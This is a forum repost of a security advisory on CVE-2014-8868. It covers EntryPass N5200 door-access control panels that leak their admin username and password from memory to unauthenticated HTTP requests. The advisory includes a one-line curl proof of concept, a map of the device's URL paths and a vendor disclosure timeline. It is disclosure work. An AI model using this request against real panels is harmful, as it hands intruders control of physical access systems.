Aerosol Posted December 3, 2014 Report Posted December 3, 2014 Advisory: EntryPass N5200 Credentials DisclosureEntryPass N5200 Active Network Control Panels allow the unauthenticateddownloading of information that includes the current administrativeusername and password.Details=======Product: EntryPass N5200 Active Network Control PanelAffected Versions: unknownFixed Versions: not availableVulnerability Type: Information Disclosure, Credentials DisclosureSecurity Risk: highVendor URL: http://www.entrypass.net/w3v1/products/active-network/n5200Vendor Status: notifiedAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-011Advisory Status: publishedCVE: CVE-2014-8868CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8868Introduction============"EntryPass Active Networks are designed to enhance highly customized andrapid 'real-time' changes to the underlying network operation.Brilliantly engineered with all the power you need to enablecode-sending, minus unnecessary buffer time with its distributedarchitecture capable of processing access demand at the edge levelwithout leveraging at the server end."(From the vendor's home page)More Details============EntryPass N5200 Active Network Control Panels offer an HTTP service onTCP port 80. It appears that only the first character of a requestedURL's path is relevant to the web server. For example, requesting theURLhttp://example.com/1styles.cssyields the same CSS file as requesting the following URL:http://example.com/1redteamBy enumerating all one-character long URLs on a device, it wasdetermined that URLs starting with a numeric character are used by theweb interface, as listed in the following table: http://example.com/0 Index http://example.com/1 Stylesheet http://example.com/2 Authentication with Username/Password http://example.com/3 Session Management http://example.com/4 Device Status http://example.com/5 Progressbar Image http://example.com/6 Reset Status http://example.com/7 Login Form http://example.com/8 HTTP 404 Error Page http://example.com/9 JavaScriptFor URLs starting with non-numeric characters, an HTTP 404 - Not Founderror page is normally returned. Exceptions to this rule are URLsstarting with the lower case letters o to z and the upper case letters Ato D. When requesting these URLs, memory contents from the device appearto be returned in the server's HTTP response.As highlighted in the following listing, both the currently set usernameADMIN and the corresponding password 123456 are disclosed in the memorycontents when requesting the URL http://example.com/o:$ curl -s http://example.com/o | hexdump -C | head[...]0010 XX XX XX XX XX XX XX XX XX XX XX 77 77 77 2e 65 |XXXXXXXXXXXwww.e|0020 6e 74 72 79 70 61 73 73 2e 6e 65 74 00 00 00 00 |ntrypass.net....|[...]0060 XX XX XX XX XX XX XX XX XX XX 41 44 4d 49 4e 26 |XXXXXXXXXXADMIN&|0070 20 20 31 32 33 34 35 36 26 20 XX XX XX XX XX XX | 123456& XXXXXX|[...]These credentials grant access to the administrative web interface ofthe device when using them in the regular login form.Similarly, it is possible to get the status output of the device withoutprior authentication by simply requesting the following URLhttp://example.com/4The server responds to the request with the following XML data, whichcontains information about various different settings of the device.<html><head><title>Device Server Manager</title></head><body><serial_no>XXXXXXXXXXXX-XXXX</serial_no><firmware_version>HCB.CC.S1.04.04.11.02 -N5200[64Mb]</firmware_version><mac_address>XX-XX-XX-XX-XX-XX</mac_address><disable_reporting>disabled</disable_reporting><commit_setting>checked</commit_setting><user_id>ADMIN</user_id><user_pass>******</user_pass>[...]</body></html>Proof of Concept================------------------------------------------------------------------------$ curl -s http://example.com/o | hexdump -C | head------------------------------------------------------------------------Workaround==========Access to the web interface should be blocked at the network layer.Fix===Not available.Security Risk=============Attackers with network access to an EntryPass N5200 Active NetworkControl Panel can retrieve memory contents from the device. These memorycontents disclose the currently set username and password needed toaccess the administrative interface of the device. Using thesecredentials, it is possible to read the device's current status andconfiguration, as well as modify settings and install firmware updates.With regards to the device itself, this vulnerability poses a high risk,as it allows attackers to gain full control. The actual operational riskdepends on how the device is used in practice.Timeline========2014-05-19 Vulnerability identified2014-08-25 Customer approved disclosure to vendor2014-08-27 Vendor contacted, security contact requested2014-09-03 Vendor contacted, security contact requested2014-09-15 Vendor contacted, vulnerability reported2014-09-17 Update requested from vendor, no response2014-10-15 No response from vendor. Customer discontinued use of the product and approved public disclosure2014-10-20 Contacted vendor again since no fix or roadmap was provided.2014-10-28 CVE number requested2014-11-14 CVE number assigned2014-12-01 Advisory releasedSource Quote
